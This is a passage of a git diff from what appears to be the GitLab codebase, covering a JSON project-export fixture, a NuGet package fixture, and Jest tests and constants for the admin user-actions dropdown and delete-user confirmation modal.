C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":8,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":9,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":10,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":11,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":12,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":13,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 @@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":14,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":10,"created_at":"2016-06-14T15:02:23.019Z","updated_at":"2016-06-14T15:02:23.493Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"15"},"events":[{"id":228,"target_type":"MergeRequest","target_id":10,"project_id":36,"created_at":"2016-06-14T15:02:23.660Z","updated_at":"2016-06-14T15:02:23.660Z","action":1,"author_id":1},{"id":170,"target_type":"MergeRequest","target_id":10,"project_id":5,"created_at":"2016-06-14T15:02:23.660Z","updated_at":"2016-06-14T15:02:23.660Z","action":1,"author_id":20}]}
+{"id":9,"target_branch":"test-6","source_branch":"test-12","source_project_id":5,"author_id":16,"assignee_id":6,"title":"Et ipsam voluptas velit sequi illum ut.","created_at":"2016-06-14T15:02:22.825Z","updated_at":"2016-06-14T15:03:00.904Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":1,"description":"Eveniet nihil ratione veniam similique qui aut sapiente tempora. Sed praesentium iusto dignissimos possimus id repudiandae quo nihil. Qui doloremque autem et iure fugit.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":825,"note":"Aliquid voluptatem consequatur voluptas ex perspiciatis.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.722Z","updated_at":"2016-06-14T15:03:00.722Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":826,"note":"Itaque optio voluptatem praesentium voluptas.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.745Z","updated_at":"2016-06-14T15:03:00.745Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":827,"note":"Ut est corporis fuga asperiores delectus excepturi aperiam.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.771Z","updated_at":"2016-06-14T15:03:00.771Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":828,"note":"Similique ea dolore officiis temporibus.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.798Z","updated_at":"2016-06-14T15:03:00.798Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":829,"note":"Qui laudantium qui quae quis.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.828Z","updated_at":"2016-06-14T15:03:00.828Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":830,"note":"Et vel voluptas amet laborum qui soluta.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.850Z","updated_at":"2016-06-14T15:03:00.850Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":831,"note":"Enim ad consequuntur assumenda provident voluptatem similique deleniti.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.876Z","updated_at":"2016-06-14T15:03:00.876Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":832,"note":"Officiis sequi commodi pariatur totam fugiat voluptas corporis dignissimos.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.902Z","updated_at":"2016-06-14T15:03:00.902Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":9,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":9,"relative_order":0,"sha":"a4e5dfebf42e34596526acb8611bc7ed80e4eb3f","message":"fixes #10\n","authored_date":"2016-01-19T15:44:02.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T15:44:02.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}}],"merge_request_diff_files":[{"merge_request_diff_id":9,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":9,"created_at":"2016-06-14T15:02:22.829Z","updated_at":"2016-06-14T15:02:22.900Z","base_commit_sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","real_size":"1"},"events":[{"id":229,"target_type":"MergeRequest","target_id":9,"project_id":36,"created_at":"2016-06-14T15:02:22.927Z","updated_at":"2016-06-14T15:02:22.927Z","action":1,"author_id":16},{"id":169,"target_type":"MergeRequest","target_id":9,"project_id":5,"created_at":"2016-06-14T15:02:22.927Z","updated_at":"2016-06-14T15:02:22.927Z","action":1,"author_id":16}]}
diff --git a/spec/fixtures/packages/nuget/package.snupkg b/spec/fixtures/packages/nuget/package.snupkg
new file mode 100644
index 00000000000..9d97b36e792
--- /dev/null
+++ b/spec/fixtures/packages/nuget/package.snupkg
Binary files differ
diff --git a/spec/fixtures/packages/nuget/with_package_types.nuspec b/spec/fixtures/packages/nuget/with_package_types.nuspec
new file mode 100644
index 00000000000..b0e61e9d47e
--- /dev/null
+++ b/spec/fixtures/packages/nuget/with_package_types.nuspec
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="utf-8"?>
+<package xmlns="http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">
+ <metadata>
+ <id>Test.Package</id>
+ <version>3.5.2</version>
+ <authors>Test Author</authors>
+ <owners>Test Owner</owners>
+ <requireLicenseAcceptance>false</requireLicenseAcceptance>
+ <description>Package Description</description>
+ <packageTypes>
+ <packageType name="SymbolsPackage" />
+ </packageTypes>
+ </metadata>
+</package>
diff --git a/spec/frontend/__helpers__/dom_shims/inner_text.js b/spec/frontend/__helpers__/dom_shims/inner_text.js
index 2b8201eed31..a48f0fee689 100644
--- a/spec/frontend/__helpers__/dom_shims/inner_text.js
+++ b/spec/frontend/__helpers__/dom_shims/inner_text.js
@@ -5,7 +5,7 @@ Object.defineProperty(global.Element.prototype, 'innerText', {
return this.textContent;
},
set(value) {
- this.textContext = value;
+ this.textContent = value;
},
configurable: true, // make it so that it doesn't blow chunks on re-running tests with things like --watch
});
diff --git a/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap b/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
index 1eb9ccc9c6c..10437c48f88 100644
--- a/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
+++ b/spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap
@@ -16,6 +16,7 @@ exports[`AddContextCommitsModal renders modal with 2 tabs 1`] = `
>
<gl-tabs-stub
contentclass="pt-0"
+ queryparamname="tab"
theme="indigo"
value="0"
>
diff --git a/spec/frontend/admin/users/components/actions/actions_spec.js b/spec/frontend/admin/users/components/actions/actions_spec.js
index 5db5b8a90a9..67d9bac8580 100644
--- a/spec/frontend/admin/users/components/actions/actions_spec.js
+++ b/spec/frontend/admin/users/components/actions/actions_spec.js
@@ -39,37 +39,12 @@ describe('Action components', () => {
await nextTick();
- const div = wrapper.find('div');
- expect(div.attributes('data-path')).toBe('/test');
- expect(div.attributes('data-modal-attributes')).toContain('John Doe');
+ expect(wrapper.attributes('data-path')).toBe('/test');
+ expect(wrapper.attributes('data-modal-attributes')).toContain('John Doe');
expect(findDropdownItem().exists()).toBe(true);
});
});
- describe('LINK_ACTIONS', () => {
- it.each`
- action | method
- ${'Approve'} | ${'put'}
- ${'Reject'} | ${'delete'}
- `(
- 'renders a dropdown item link with method "$method" for "$action"',
- async ({ action, method }) => {
- initComponent({
- component: Actions[action],
- props: {
- path: '/test',
- },
- });
-
- await nextTick();
-
- const item = wrapper.find(GlDropdownItem);
- expect(item.attributes('href')).toBe('/test');
- expect(item.attributes('data-method')).toContain(method);
- },
- );
- });
-
describe('DELETE_ACTION_COMPONENTS', () => {
const oncallSchedules = [{ name: 'schedule1' }, { name: 'schedule2' }];
it.each(DELETE_ACTIONS)('renders a dropdown item for "%s"', async (action) => {
diff --git a/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap b/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap
new file mode 100644
index 00000000000..5e367891337
--- /dev/null
+++ b/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap
@@ -0,0 +1,80 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`User Operation confirmation modal renders modal with form included 1`] = `
+<div>
+ <p>
+ <gl-sprintf-stub
+ message="content"
+ />
+ </p>
+
+ <oncall-schedules-list-stub
+ schedules="schedule1,schedule2"
+ username="username"
+ />
+
+ <p>
+ <gl-sprintf-stub
+ message="To confirm, type %{username}"
+ />
+ </p>
+
+ <form
+ action="delete-url"
+ method="post"
+ >
+ <input
+ name="_method"
+ type="hidden"
+ value="delete"
+ />
+
+ <input
+ name="authenticity_token"
+ type="hidden"
+ value="csrf"
+ />
+
+ <gl-form-input-stub
+ autocomplete="off"
+ autofocus=""
+ name="username"
+ type="text"
+ value=""
+ />
+ </form>
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
+ icon=""
+ size="medium"
+ variant="default"
+ >
+ Cancel
+ </gl-button-stub>
+
+ <gl-button-stub
+ buttontextclasses=""
+ category="secondary"
+ disabled="true"
+ icon=""
+ size="medium"
+ variant="danger"
+ >
+
+ secondaryAction
+
+ </gl-button-stub>
+
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
+ disabled="true"
+ icon=""
+ size="medium"
+ variant="danger"
+ >
+ action
+ </gl-button-stub>
+</div>
+`;
diff --git a/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js b/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js
new file mode 100644
index 00000000000..fee74764645
--- /dev/null
+++ b/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js
@@ -0,0 +1,167 @@
+import { GlButton, GlFormInput } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import DeleteUserModal from '~/admin/users/components/modals/delete_user_modal.vue';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
+import ModalStub from './stubs/modal_stub';
+
+const TEST_DELETE_USER_URL = 'delete-url';
+const TEST_BLOCK_USER_URL = 'block-url';
+const TEST_CSRF = 'csrf';
+
+describe('User Operation confirmation modal', () => {
+ let wrapper;
+ let formSubmitSpy;
+
+ const findButton = (variant, category) =>
+ wrapper
+ .findAll(GlButton)
+ .filter((w) => w.attributes('variant') === variant && w.attributes('category') === category)
+ .at(0);
+ const findForm = () => wrapper.find('form');
+ const findUsernameInput = () => wrapper.findComponent(GlFormInput);
+ const findPrimaryButton = () => findButton('danger', 'primary');
+ const findSecondaryButton = () => findButton('danger', 'secondary');
+ const findAuthenticityToken = () => new FormData(findForm().element).get('authenticity_token');
+ const getUsername = () => findUsernameInput().attributes('value');
+ const getMethodParam = () => new FormData(findForm().element).get('_method');
+ const getFormAction = () => findForm().attributes('action');
+ const findOnCallSchedulesList = () => wrapper.findComponent(OncallSchedulesList);
+
+ const setUsername = (username) => {
+ findUsernameInput().vm.$emit('input', username);
+ };
+
+ const username = 'username';
+ const badUsername = 'bad_username';
+ const oncallSchedules = '["schedule1", "schedule2"]';
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(DeleteUserModal, {
+ propsData: {
+ username,
+ title: 'title',
+ content: 'content',
+ action: 'action',
+ secondaryAction: 'secondaryAction',
+ deleteUserUrl: TEST_DELETE_USER_URL,
+ blockUserUrl: TEST_BLOCK_USER_URL,
+ csrfToken: TEST_CSRF,
+ oncallSchedules,
+ ...props,
+ },
+ stubs: {
+ GlModal: ModalStub,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ formSubmitSpy = jest.spyOn(HTMLFormElement.prototype, 'submit').mockImplementation();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders modal with form included', () => {
+ createComponent();
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ describe('on created', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('has disabled buttons', () => {
+ expect(findPrimaryButton().attributes('disabled')).toBeTruthy();
+ expect(findSecondaryButton().attributes('disabled')).toBeTruthy();
+ });
+ });
+
+ describe('with incorrect username', () => {
+ beforeEach(() => {
+ createComponent();
+ setUsername(badUsername);
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('shows incorrect username', () => {
+ expect(getUsername()).toEqual(badUsername);
+ });
+
+ it('has disabled buttons', () => {
+ expect(findPrimaryButton().attributes('disabled')).toBeTruthy();
+ expect(findSecondaryButton().attributes('disabled')).toBeTruthy();
+ });
+ });
+
+ describe('with correct username', () => {
+ beforeEach(() => {
+ createComponent();
+ setUsername(username);
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('shows correct username', () => {
+ expect(getUsername()).toEqual(username);
+ });
+
+ it('has enabled buttons', () => {
+ expect(findPrimaryButton().attributes('disabled')).toBeFalsy();
+ expect(findSecondaryButton().attributes('disabled')).toBeFalsy();
+ });
+
+ describe('when primary action is submitted', () => {
+ beforeEach(() => {
+ findPrimaryButton().vm.$emit('click');
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('clears the input', () => {
+ expect(getUsername()).toEqual('');
+ });
+
+ it('has correct form attributes and calls submit', () => {
+ expect(getFormAction()).toBe(TEST_DELETE_USER_URL);
+ expect(getMethodParam()).toBe('delete');
+ expect(findAuthenticityToken()).toBe(TEST_CSRF);
+ expect(formSubmitSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('when secondary action is submitted', () => {
+ beforeEach(() => {
+ findSecondaryButton().vm.$emit('click');
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('has correct form attributes and calls submit', () => {
+ expect(getFormAction()).toBe(TEST_BLOCK_USER_URL);
+ expect(getMethodParam()).toBe('put');
+ expect(findAuthenticityToken()).toBe(TEST_CSRF);
+ expect(formSubmitSpy).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('Related oncall-schedules list', () => {
+ it('does NOT render the list when user has no related schedules', () => {
+ createComponent({ oncallSchedules: '[]' });
+ expect(findOnCallSchedulesList().exists()).toBe(false);
+ });
+
+ it('renders the list when user has related schedules', () => {
+ createComponent();
+
+ const schedules = findOnCallSchedulesList();
+ expect(schedules.exists()).toBe(true);
+ expect(schedules.props('schedules')).toEqual(JSON.parse(oncallSchedules));
+ });
+ });
+});
diff --git a/spec/frontend/pages/admin/users/components/stubs/modal_stub.js b/spec/frontend/admin/users/components/modals/stubs/modal_stub.js
index 4dc55e909a0..4dc55e909a0 100644
--- a/spec/frontend/pages/admin/users/components/stubs/modal_stub.js
+++ b/spec/frontend/admin/users/components/modals/stubs/modal_stub.js
diff --git a/spec/frontend/admin/users/components/modals/user_modal_manager_spec.js b/spec/frontend/admin/users/components/modals/user_modal_manager_spec.js
new file mode 100644
index 00000000000..65ce242662b
--- /dev/null
+++ b/spec/frontend/admin/users/components/modals/user_modal_manager_spec.js
@@ -0,0 +1,126 @@
+import { mount } from '@vue/test-utils';
+import UserModalManager from '~/admin/users/components/modals/user_modal_manager.vue';
+import ModalStub from './stubs/modal_stub';
+
+describe('Users admin page Modal Manager', () => {
+ let wrapper;
+
+ const modalConfiguration = {
+ action1: {
+ title: 'action1',
+ content: 'Action Modal 1',
+ },
+ action2: {
+ title: 'action2',
+ content: 'Action Modal 2',
+ },
+ };
+
+ const findModal = () => wrapper.find({ ref: 'modal' });
+
+ const createComponent = (props = {}) => {
+ wrapper = mount(UserModalManager, {
+ propsData: {
+ selector: '.js-delete-user-modal-button',
+ modalConfiguration,
+ csrfToken: 'dummyCSRF',
+ ...props,
+ },
+ stubs: {
+ DeleteUserModal: ModalStub,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('render behavior', () => {
+ it('does not renders modal when initialized', () => {
+ createComponent();
+ expect(findModal().exists()).toBeFalsy();
+ });
+
+ it('throws if action has no proper configuration', () => {
+ createComponent({
+ modalConfiguration: {},
+ });
+ expect(() => wrapper.vm.show({ glModalAction: 'action1' })).toThrow();
+ });
+
+ it('renders modal with expected props when valid configuration is passed', () => {
+ createComponent();
+ wrapper.vm.show({
+ glModalAction: 'action1',
+ extraProp: 'extraPropValue',
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ const modal = findModal();
+ expect(modal.exists()).toBeTruthy();
+ expect(modal.vm.$attrs.csrfToken).toEqual('dummyCSRF');
+ expect(modal.vm.$attrs.extraProp).toEqual('extraPropValue');
+ expect(modal.vm.showWasCalled).toBeTruthy();
+ });
+ });
+ });
+
+ describe('click handling', () => {
+ let button;
+ let button2;
+
+ const createButtons = () => {
+ button = document.createElement('button');
+ button2 = document.createElement('button');
+ button.setAttribute('class', 'js-delete-user-modal-button');
+ button.setAttribute('data-username', 'foo');
+ button.setAttribute('data-gl-modal-action', 'action1');
+ button.setAttribute('data-block-user-url', '/block');
+ button.setAttribute('data-delete-user-url', '/delete');
+ document.body.appendChild(button);
+ document.body.appendChild(button2);
+ };
+ const removeButtons = () => {
+ button.remove();
+ button = null;
+ button2.remove();
+ button2 = null;
+ };
+
+ beforeEach(() => {
+ createButtons();
+ createComponent();
+ });
+
+ afterEach(() => {
+ removeButtons();
+ });
+
+ it('renders the modal when the button is clicked', async () => {
+ button.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('does not render the modal when a misconfigured button is clicked', async () => {
+ button.removeAttribute('data-gl-modal-action');
+ button.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findModal().exists()).toBe(false);
+ });
+
+ it('does not render the modal when a button without the selector class is clicked', async () => {
+ button2.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findModal().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/components/user_actions_spec.js b/spec/frontend/admin/users/components/user_actions_spec.js
index debe964e7aa..43313424553 100644
--- a/spec/frontend/admin/users/components/user_actions_spec.js
+++ b/spec/frontend/admin/users/components/user_actions_spec.js
@@ -1,4 +1,5 @@
import { GlDropdownDivider } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import Actions from '~/admin/users/components/actions';
import AdminUserActions from '~/admin/users/components/user_actions.vue';
@@ -6,7 +7,7 @@ import { I18N_USER_ACTIONS } from '~/admin/users/constants';
import { generateUserPaths } from '~/admin/users/utils';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
-import { CONFIRMATION_ACTIONS, DELETE_ACTIONS, LINK_ACTIONS, LDAP, EDIT } from '../constants';
+import { CONFIRMATION_ACTIONS, DELETE_ACTIONS, LDAP, EDIT } from '../constants';
import { users, paths } from '../mock_data';
describe('AdminUserActions component', () => {
@@ -20,7 +21,7 @@ describe('AdminUserActions component', () => {
findUserActions(id).find('[data-testid="dropdown-toggle"]');
const findDropdownDivider = () => wrapper.findComponent(GlDropdownDivider);
- const initComponent = ({ actions = [] } = {}) => {
+ const initComponent = ({ actions = [], showButtonLabels } = {}) => {
wrapper = shallowMountExtended(AdminUserActions, {
propsData: {
user: {
@@ -28,6 +29,10 @@ describe('AdminUserActions component', () => {
actions,
},
paths,
+ showButtonLabels,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
},
});
};
@@ -62,7 +67,7 @@ describe('AdminUserActions component', () => {
describe('actions dropdown', () => {
describe('when there are actions', () => {
- const actions = [EDIT, ...LINK_ACTIONS];
+ const actions = [EDIT, ...CONFIRMATION_ACTIONS];
beforeEach(() => {
initComponent({ actions });
@@ -72,19 +77,6 @@ describe('AdminUserActions component', () => {
expect(findActionsDropdown().exists()).toBe(true);
});
- describe('when there are actions that should render as links', () => {
- beforeEach(() => {
- initComponent({ actions: LINK_ACTIONS });
- });
-
- it.each(LINK_ACTIONS)('renders an action component item for "%s"', (action) => {
- const component = wrapper.find(Actions[capitalizeFirstCharacter(action)]);
-
- expect(component.props('path')).toBe(userPaths[action]);
- expect(component.text()).toBe(I18N_USER_ACTIONS[action]);
- });
- });
-
describe('when there are actions that require confirmation', () => {
beforeEach(() => {
initComponent({ actions: CONFIRMATION_ACTIONS });
@@ -157,4 +149,42 @@ describe('AdminUserActions component', () => {
});
});
});
+
+ describe('when `showButtonLabels` prop is `false`', () => {
+ beforeEach(() => {
+ initComponent({ actions: [EDIT, ...CONFIRMATION_ACTIONS] });
+ });
+
+ it('does not render "Edit" button label', () => {
+ const tooltip = getBinding(findEditButton().element, 'gl-tooltip');
+
+ expect(findEditButton().text()).toBe('');
+ expect(findEditButton().attributes('aria-label')).toBe(I18N_USER_ACTIONS.edit);
+ expect(tooltip).toBeDefined();
+ expect(tooltip.value).toBe(I18N_USER_ACTIONS.edit);
+ });
+
+ it('does not render "User administration" dropdown button label', () => {
+ expect(findActionsDropdown().props('text')).toBe(I18N_USER_ACTIONS.userAdministration);
+ expect(findActionsDropdown().props('textSrOnly')).toBe(true);
+ });
+ });
+
+ describe('when `showButtonLabels` prop is `true`', () => {
+ beforeEach(() => {
+ initComponent({ actions: [EDIT, ...CONFIRMATION_ACTIONS], showButtonLabels: true });
+ });
+
+ it('renders "Edit" button label', () => {
+ const tooltip = getBinding(findEditButton().element, 'gl-tooltip');
+
+ expect(findEditButton().text()).toBe(I18N_USER_ACTIONS.edit);
+ expect(tooltip).not.toBeDefined();
+ });
+
+ it('renders "User administration" dropdown button label', () => {
+ expect(findActionsDropdown().props('text')).toBe(I18N_USER_ACTIONS.userAdministration);
+ expect(findActionsDropdown().props('textSrOnly')).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/admin/users/constants.js b/spec/frontend/admin/users/constants.js
index 60abdc6c248..d341eb03b1b 100644
--- a/spec/frontend/admin/users/constants.js
+++ b/spec/frontend/admin/users/constants.js
@@ -7,13 +7,23 @@ const ACTIVATE = 'activate';
const DEACTIVATE = 'deactivate';
const REJECT = 'reject';
const APPROVE = 'approve';
+const BAN = 'ban';
+const UNBAN = 'unban';
export const EDIT = 'edit';
export const LDAP = 'ldapBlocked';
-export const LINK_ACTIONS = [APPROVE, REJECT];
-
-export const CONFIRMATION_ACTIONS = [ACTIVATE, BLOCK, DEACTIVATE, UNLOCK, UNBLOCK];
+export const CONFIRMATION_ACTIONS = [
+ ACTIVATE,
+ BLOCK,
+ DEACTIVATE,
+ UNLOCK,
+ UNBLOCK,
+ BAN,
+ UNBAN,
+ APPROVE,
+ REJECT,
+];
export const DELETE_ACTIONS = [DELETE, DELETE_WITH_CONTRIBUTIONS];
diff --git a/spec/frontend/admin/users/index_spec.js b/spec/frontend/admin/users/index_spec.js
index 20b60bd8640..06dbadd6d3d 100644
--- a/spec/frontend/admin/users/index_spec.js
+++ b/spec/frontend/admin/users/index_spec.js
@@ -1,7 +1,8 @@
import { createWrapper } from '@vue/test-utils';
-import { initAdminUsersApp } from '~/admin/users';
+import { initAdminUsersApp, initAdminUserActions } from '~/admin/users';
import AdminUsersApp from '~/admin/users/components/app.vue';
-import { users, paths } from './mock_data';
+import UserActions from '~/admin/users/components/user_actions.vue';
+import { users, user, paths } from './mock_data';
describe('initAdminUsersApp', () => {
let wrapper;
@@ -14,15 +15,12 @@ describe('initAdminUsersApp', () => {
el.setAttribute('data-users', JSON.stringify(users));
el.setAttribute('data-paths', JSON.stringify(paths));
- document.body.appendChild(el);
-
wrapper = createWrapper(initAdminUsersApp(el));
});
afterEach(() => {
wrapper.destroy();
wrapper = null;
- el.remove();
el = null;
});
@@ -33,3 +31,31 @@ describe('initAdminUsersApp', () => {
});
});
});
+
+describe('initAdminUserActions', () => {
+ let wrapper;
+ let el;
+
+ const findUserActions = () => wrapper.find(UserActions);
+
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.setAttribute('data-user', JSON.stringify(user));
+ el.setAttribute('data-paths', JSON.stringify(paths));
+
+ wrapper = createWrapper(initAdminUserActions(el));
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
